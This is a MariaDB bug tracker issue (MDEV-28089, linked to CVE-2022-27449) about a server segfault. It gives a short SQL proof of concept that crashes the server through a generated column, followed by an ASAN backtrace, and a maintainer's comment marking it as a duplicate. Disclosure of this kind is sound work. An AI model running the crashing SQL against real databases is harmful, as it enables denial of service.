





MariaDB Server

MDEV-28089

MariaDB SEGV issue

Details

Type:	 Bug
Status:	CLOSED (View Workflow)
Priority:	 Major
Resolution:	Duplicate
Affects Version/s:	10.9.0
Fix Version/s:	N/A
Component/s:	N/A
Labels:	None
Environment:	Linux jie-2 5.4.143-1-pve #1 SMP PVE 5.4.143-1 (Tue, 28 Sep 2021 09:10:37 +0200) x86_64 x86_64 x86_64 GNU/Linux

Description

PoC:

```
CREATE TABLE v0 ( v3 DATE , v2 INT , v1 DATE GENERATED ALWAYS AS ( UNIX_TIMESTAMP (
  SELECT v1 , ' ' , v2 FROM v0 INTO OUTFILE 'x' ;
  SELECT v2 FROM v0 ORDER BY 'x' = ( SELECT v1 WHERE v2 ) ;
```

report (compiled with ASAN):



```
Thread pointer: 0x62b00015e218
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong...
stack_bottom = 0x7fc2059b5880 thread_stack 0x5fc00
??:0(__interceptor_backtrace)[0x7cbadb]

mysys/stacktrace.c:212(my_print_stacktrace)[0x2a86d37]
sql/signal_handler.cc:0(handle_fatal_signal)[0x15af5d9]
sigaction.c:0(__restore_rt)[0x7fc22b17f3c0]
??:0(gsignal)[0x7fc22adad03b]
??:0(abort)[0x7fc22ad8c859]
??:0(__cxa_throw_bad_array_new_length)[0x7fc22b021911]
??:0(std::rethrow_exception(std::__exception_ptr::exception_ptr))[0x7fc22b02d38]
??:0(std::terminate())[0x7fc22b02d3f7]
??:0(__cxa_pure_virtual)[0x7fc22b02e155]
```

```
sql/item_func.cc:148(Item_func::check_argument_types_like_args0() const)[0x177a
sql/item_func.cc:357(Item_func::fix_fields(THD*, Item**))[0x177d5fb]
sql/item_func.cc:347(Item_func::fix_fields(THD*, Item**))[0x177d31b]
```

▼ Issue Links


duplicates

 [MDEV-24176](#) Server crashes after insert in the table with virtual column ...  **CLOSED**

links to

 [CVE-2022-27449](#)


▼ Activity

▼  [Alice Sherepa](#) added a comment - 2022-03-21 14:17

Thank you! It is some variation of [MDEV-24176](#) - I will add the test there

▼ People

Assignee:

 Unassigned

Reporter:

 [Jingzhou Fu](#)

Votes:

0 [Vote for this issue](#)

Watchers:

3 [Start watching this issue](#)

▼ Dates

Created:

2022-03-16 09:42

Updated:

2022-04-27 16:02

Resolved:

2022-03-21 14:13

 Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.